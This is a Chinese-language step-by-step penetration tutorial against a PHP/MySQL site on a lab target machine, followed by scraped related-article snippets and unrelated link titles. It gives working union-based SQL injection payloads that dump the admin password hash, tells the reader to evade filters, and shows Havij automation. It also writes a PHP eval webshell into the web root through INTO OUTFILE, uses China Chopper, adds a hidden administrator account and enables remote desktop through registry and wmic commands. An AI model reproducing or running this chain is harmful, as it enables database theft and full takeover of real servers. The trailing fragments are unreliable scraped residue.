目标服务器(靶机):192.168.1.27
目标网站:http://192.168.1.27:8083
步骤:

一、靶机操作

1、进入靶机,查看IP地址;

开始—运行,输入cmd回车,出现命令行窗口,输入:ipconfig
显示,靶机配置信息,记下以太网适配器下,IPv4地址(后面访问网页会用到)。
此处为192.168.1.27

2、启动phpstudy(桌面图标):


如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试。

二、远程攻击机操作

1、打开攻击机

利用攻击机,访问靶机。http://192.168.1.27:8083(注意根据查看到的靶机IP地址,修改此处的IP,端口不变,以下截图中,均应将端口修改为8083),然后点击其中的一篇文章,如果地址栏出现http://***/xx.php?id=XX,则表明目标网站,采用PHP语言开发。

2、试探目标网站

分别在地址末尾添加单撇号、and 1=1 和 and 1=2 进行注入点探测。

如果单撇号出错、给出数据库信息,and 1=1正确执行,and 1=2显示空页面,则表明存在注入攻击点。


三、手工注入

非常重要:首先在网站找到管理入口,否则,呵呵就算有用户名和密码,没有入口,也是白玩。。

注入时,注意通过改变大小写、编码、转换等方式躲过系统检查,顺利执行语句!!!

步骤1:访问目标网站


随便点击其中一个新闻

步骤2:寻找注入点

在 URL 后加’(单引号)判断是否存在注入点,数据库报错。

步骤3:判断字段长度:

利用 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,也就是最后一个正常页面返回。实验中N=16,错误,所以字段长度为15

步骤4:判断字段位置回显:

利用 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3 和 11 的位置可以回显信息。判断数据库信息:

步骤5:判断数据库信息:

利用 and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15 ,用 sql 指令替换 sql_command。
Sql_command为以下参数:
查看 mysql 版本 version()
查看当前数据库 database()
查看当前用户 user()

  1. 判断版本

  2. 判断数据库

  3. 判断用户

步骤6:判断mysql所有数据库:

利用 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看 mysql中所有数据库的名称。
由下图结果可知业务数据库为 cms。其他数据库有mysql,discuz,test等

步骤7:判断数据库表:

利用 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() ,查看 cms 数据库拥有的所有表。可以发现存放用户信息的表cms_users。=

步骤8:判断数据表的所有列:

利用 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。
table_name=cms_users,表名需要编码为 16 进制。得到 3 个列:userid,username 和 password
从ASCII对照表中可知对应:c(63) m(6d) s(73) _(5f) u(75) s(73) e(65) r(72) s(73)

步骤9:判断管理员账号密码:

利用 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users。得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e(解密后123456)

登陆后台地址后台地址:http://192.168.1.27:8083/admin/login.php,SQL注入结束。

四、利用Havij进行自动化工具注入

在桌面,运行Havij.exe。


在Target后面的输入栏中,输入看到的目标网站的可注入网址。

注意:
(1)Target栏目中,输入内容,必须带上“http://”,并且,一定具有****.php?id=**特征。
(2)Database选择项,根据前面出错信息,自动检测。其他按图中所示进行选择即可。
(3)点击,Analyze,即可输出各种信息。

第一步:获取信息。点击info,查看基本信息。

第二步:获取数据库,表,列的信息。

依次点击TablesàGetDBs,得到靶机上的所有数据库信息(如果仅显示一个数据库,等待1分钟左右,再次点击即可),勾选mysql数据库,然后点击Get Tables,得到mysql数据库中的所有表的信息。

选择user、password列,点击Get Data得到当前数据库的用户名和密码加密后的值。


通过www.cmd5.com查询,得到对应的密码明文。
Root

第三步:登陆数据库

利用拿到的mysql数据库用户名密码登录数据库管理端。(此处省去发现该端口过程,可利用指纹扫描软件发现PHPmyadmin的管理端口)
访问http://192.168.1.27:8088/phpMyAdmin/,输入用户名密码,进入如下界面:

在数据库列表中,选中cms数据库。然后,在网页中部偏上位置,点击SQL,并执行SQL命令。
select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘D:/WWW/cms/ma.php’
注意:此处如果将/写为\将不能执行。

此处,写入的目录,需要不断进行试探。。
网站根目录下面才是cms网站,所以此目录,对应的网址为:
http://192.168.1.27:8083/ma.php,利用菜刀连接此地址。
中国菜刀连接后,打开命令行界面:
输入http://192.168.1.27:8083/ma.php 口令为cmd。

然后右键点击添加条目,选择文件管理,即可看到目标靶机的磁盘情况。


即可下载、上传、删除文件等。

如果需要进行用户操作,则右键点击添加条目,选择虚拟终端,弹出类似DOS窗口的webshell。此窗口中可进行用户添加与权限提升。

打开虚拟终端后,执行net user,如果菜刀显示乱码,设置编码方式为GB2312即可。

以下操作,除非特殊说明,均在此webshell中进行。

五、命令

查看当前存在用户:
net user
查看当前用户组:
net localgroup
添加用户(以添加用户名username密码1234为例):
net user username 1234 /add
添加用户到组(以添加ls用户到Administrators组为例):
net localgroup Administrators username /add
查看用户组:
net localgroup administrators
即可看到所添加的用户,已经在管理员组了。

为了便于操作,还可以开启远程桌面开启。
如果,远程主机关闭了远程桌面功能,则有几种方法打开:在WEbshell窗口中,执行以下任一语句,即可远程打开远程桌面功能。

(1)REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

(2)wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1

(3)wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 1
以上三种方法,第一种用于xp和win2003,后两者适用与win7、8.

然后,然后,打开远程桌面,输入目标网站IP地址。

利用刚才创建的用户名、密码登录了。
可以查看文件,可以修改配置。
下载文件,还要在菜刀中进行。

本教程仅供网站进行渗透测试,请勿用于非法途径!!造成任何危害,均由个人负全责!!

phpcms手工注入教程相关推荐

  1. mysql报错型手工注入_mysql手工注入教程

    大家早上好!,H.U.C-枫 又和大家见面啦// 本来早想做这个教程的,因为前段时间做过一套mssql的手工注入教程.今天给大家带来的是php+mysql 手工注入.临时找了个点,所以有些东西不能全给 ...

  2. mysql 手工注入教程_mysql手工注入步骤

    1.一般用 '  "  ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...

  3. 教程是php手工注入

    大家好,今天给大家带的教程是php手工注入,看了这个教程你会在不用工具的情况下, 拿下一般的php网站!!! 目标网站:http://www.atextile.org.cn:81 注入点:  http ...

  4. 2012最新网站手工注入详解教程

    想起 苦学技术的梯子真是感慨万千,别人在背英语句子,而卧却在背数据库语句,同样都是英文 ,可为啥咱英语成绩还是不及格--    言归正传,现在sql注入工具可谓层出不穷,但是工具毕竟都是人写的,总会有 ...

  5. Sqli-labs全通关教程(手工注入+工具使用sqlmap)

    提示:手工注入就不写了,发现有很多了,质量也还可以,今天就写个sqlmap通关教程吧 文章目录 前言 一.sqli-labs1-10(get型) 二.sqli-labs 11-16(post型基础注入 ...

  6. phpsso.php 注入漏洞,PHPCMS各种注入漏洞补丁

    1.宽字节注入漏洞 /phpcms/modules/pay/respond.php 位置约16行 原来代码$payment = $this->get_by_code($_GET['code']) ...

  7. mysql 手工sql注入_【sql注入专题02】Mysql手工注入流程

    0x00 SQL注入的语句介绍 SQL注入的本质 sql注入的本质就是查询某个数据库下的某个表中的某些字段的内容,比如我们平时在数据库查询一条数据时操作. mysql> use security ...

  8. SQL注入实战————1、MySQL手工注入实战

    无意中发现了一个巨牛巨牛的人工智能教程,忍不住分享一下给大家.教程不仅是零基础,通俗易懂,小白也能学,而且非常风趣幽默,还时不时有内涵段子,像看小说一样,哈哈-我正在学习中,觉得太牛了,所以分享给大家 ...

  9. 【SQL注入】通过实战教你手工注入MySql数据库

    [SQL注入]通过实战教你手工注入MySql数据库 Hello,各位小伙伴们大家晚上好~~ 不知不觉,已经是本公众号的第八篇技术文章了,你们都有认真阅读吗? 正当小编发愁下一篇写什么的时候,鲁迅发话了 ...

最新文章

  1. OpenStack(四)——Nova组件
  2. 深入浅出MFC文档/视图架构之文档模板
  3. VM安装虚拟机及其破解密码
  4. 利用对象池优化数据库操作
  5. bootstrap项目实例_精选开源SpringBoot项目:涵盖权限、搜索、秒杀、支付!
  6. poj1845 Sumdiv 题解报告
  7. DataGridView打印
  8. ftp ---- 文件结构(配置简单整理)
  9. 简述什么是 Cloud Native
  10. C++详解new/delete
  11. POJ 1182 食物链(带权并查集)
  12. printf格式控制符的完整格式
  13. rockchip的pwm驱动框架
  14. 用Java实现两个Excel表格中数据的对比
  15. 解决IDEA连接mysql时出现Server returns invalid timezone问题一劳永逸的方法
  16. php和mysql关于ip段查询
  17. 不同环境间FSG报表组件的传输
  18. 苹果最新消息_最新消息称苹果延期举行发布会:iPhone 12或将于10月推出
  19. 降了!京东物流全体员工公积金调整,由12%降到5%!
  20. http://www.dewen.net.cn/q/15807/java byte 疑问

热门文章

  1. 计算机专业学生教师节礼物,2020教师节10种实用不贵礼物推荐,最后一件老师收到最开心...
  2. java反射详解 三
  3. 树莓派4b连接WiFi或者热点 + 换源——华为云 + 安装conda
  4. 移动端对于@2x和@3x图的使用
  5. Java面试题十四(RabbitMQ模块)
  6. compareTo() 方法详解
  7. 蓝桥杯合数求和题解C++
  8. js无限层级, 递归遍历
  9. 中国短信被评为企业短信行业第一家高新技术企业
  10. Every Object responds to